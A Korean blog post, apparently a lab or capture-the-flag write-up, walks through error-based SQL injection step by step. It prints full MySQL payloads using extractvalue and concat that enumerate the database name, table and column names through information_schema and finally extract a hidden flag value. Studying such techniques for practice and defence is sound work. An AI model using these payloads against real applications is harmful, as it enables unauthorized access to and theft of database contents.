Error Based SQL Injection Process

DATE : 2023/12/07

이번 POST에서는 앞에서 살펴본 Error Based SQL Injection을 수행하는 과정에 대해 정리해볼 것이다!

UNION SQL Injection과 마찬가지로 우리가 원하는 데이터를 추출하기 위해서는

  • DB name

  • Table name

  • Column name

을 알아내야 하며

사전 작업으로는

  • Error Based SQL Injection 수행 여부 확인

  • select문 실행 여부 확인

  • 공격 Query 구성

이 진행되어야 한다! 그럼 제일 먼저 SQLi 실행 여부를 확인하는 단계부터 시작해보자.

1] Error based SQL Injection 가능 여부 파악하기

사용자가 입력한 ID가 존재하는 지, 존재하지 않는 지 알려주는 시스템이 있다!

SQL injection이 가능할 지 확인해보기 위해서 항등원 조건을 사용해보았다.

결과가 정상적으로 나오는 걸 보니, SQL을 주입했음에도 정상적으로 Query가 실행되었나 보다.

2] select문 실행 여부 확인

SQL을 주입할 수 있다는 사실을 알아냈으니 이제 데이터를 추출하기 위해 사용할

SELECT문 자체가 실행되는 지를 알아볼까 한다.

normaltic' and ((select 'hanhxx')='hanhxx') and '1'='1

and 연산자를 하나 더 연결 시키되, 참이 될 조건을 작성해보았다.

이때 작성한 조건이 참이 되려면 select 'hanhxx'가 정상적으로 동작해줘야 한다!

결과를 보면 "존재하는 아이디입니다." 문구가 출력 되고 있으므로

select문이 제대로 동작했음을 알 수 있다.

3] 공격 Query 구성하기

맨 처음에 "normaltic"을 입력한 경우, "존재하는 아이디입니다."라는 문구가 나오기 까지

어떤 Query가 실행되었을 지 상상해보면

INPUT > normaltic

Query > select * from member where id='normaltic'

사용자가 입력한 값을 ID 자리에 넣고 회원 정보를 저장해둔 Table에서 (member 라고 임의로 씀)

ID가 일치하는 데이터를 조회했을 것이다.

Query의 결과가 존재한다면 "존재하는 아이디입니다." 문구를 띄우고,

결과가 존재하지 않으면 "존재하지 않는 아이디입니다." 문구를 출력하는 구조라 예측해보았다.

그렇다면 사용자가 입력한 값은

select * from member where id='___'

ID로 들어가게 될 거라 추측한 상태로 공격 Query를 짜면 된다!

지금 수행하고자 하는 건 Error based SQL injection이니 우리에게 의미 있는 Error를

출력할 수 있는 지 확인해볼 차례이다.

normaltic' and (extractvalue('1', concat(0x3a, (select 'hanhxx')))) and '1'='1

이와 같이 SQL을 주입했을 때, 결과를 보면

의도한 대로 concat()의 결과가 error 메세지로 나오는 걸 확인 가능하다.

그렇다면 우리는 이제

normaltic' and (extractvalue('1', concat(0x3a, (___)))) and '1'='1

(___) 자리에 실행하고 싶은 SELECT문을 넣어주면 된다.

4] DB name 알아내기

DB 이름을 알아내기 위해 사용할 함수는 database()이다.

select database()

이 select문으로 DB 이름을 얻을 수 있고 그 결과를 화면에 출력하기 위해

위에서 작성해둔 공격 Query에 넣어준다.

normaltic' and (extractvalue('1',concat(0x3a,(select database())))) and '1'='1

실행 결과를 확인하면

DB 이름을 확인할 수 있다.

database name : errSqli

5] Table name 알아내기

DB 이름을 알아낸 과정과 유사하게

normaltic' and (extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='errSqli')))) and '1'='1

table name을 반환하는 SELECT문을 작성해 공격 Query에 넣어준다.

하지만 결과를 보면

Table 이름 대신 Query의 결과가 1개 이상의 ROW를 반환한다고 알려주고 있다.

이는 Query 결과가 여러 개임으로 특정 row를 선정할 필요가 있고 이를 위해

우리는 LIMIT로 딱 하나의 ROW만 골라줄 것이다.

첫 번째 ROW부터 확인해보면

normaltic' and (extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='errSqli'  limit 0,1)))) and '1'='1

첫 번째 Table 이름은 flagTable임을 알 수 있다.

두 번째 Table 이름은

member 이고

혹시나 해서 세 번째 row를 확인해봤더니

없는 듯 하다. 😂

여기까지 해서 우리는 errSqli DB 안에 테이블이 2개 들어있음을 정리할 수 있다.

Table 1 : flagTable

Table 2 : member

6] column name 알아내기

우리의 목표는 숨겨진 flag를 찾는 것이기 때문에

수상한 냄새가 나는😏 flagTable을 탐색해볼 것이다.

column name을 알아내기 위한 Query는 여기!

select column_name from information_schema.columns where table_name='flagTable'

우리가 작성해둔 공격 Query에 넣어주면 준비는 끝.

normaltic' and extractvalue('1',concat(0x3a, (select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1

결과가 여러 개일 수 있으니 limit을 바로 넣어줬다.

결과를 보면 flagTable 에 있는 첫 번째 column은 idx.

두 번째 column이 flag라고 한다.

column 이름도 이제 알아냈겠다.. 그렇다면 우리가 원하는 flag를 얻을 수 있을지도?!

first column : idx

second column : flag

7] data 추출하기

1] ~ 6] 과정을 통해 우리는 숨겨진 flag가 flagTable 안에 있는 flag column에 있을 거라 예측할 수 있다.

DB, Table, column 이름도 다 알아냈겠다. 바로 확인해보자.

select flag from flagTable

수행할 select문은 위와 같다.

normaltic' and extractvalue('1',concat(0x3a, (select flag from flagTable))) and '1'='1

작성해둔 공격 Query에 집어넣고 실행해보면!

성공적으로 flag를 찾아낼 수 있다. 👏👏

목표는 flag를 찾는 거였지만 이 과정을 통해서

Error Based SQL injection을 수행하는 데 익숙해지는 게 더 큰 목적이다!

전반적인 과정이 UNION SQL Injection과 크게 다르지 않기 때문에

큰 어려움 없이 진행할 수 있었던 거 같다! 😄

Last updated